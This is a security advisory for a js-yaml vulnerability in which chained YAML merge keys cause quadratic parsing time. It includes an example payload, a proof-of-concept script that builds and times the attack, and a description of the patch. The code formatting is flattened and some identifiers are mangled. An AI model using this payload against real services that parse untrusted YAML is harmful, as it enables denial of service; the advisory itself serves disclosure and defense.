CVE-2026-59868: js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }

lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)

const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started

console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.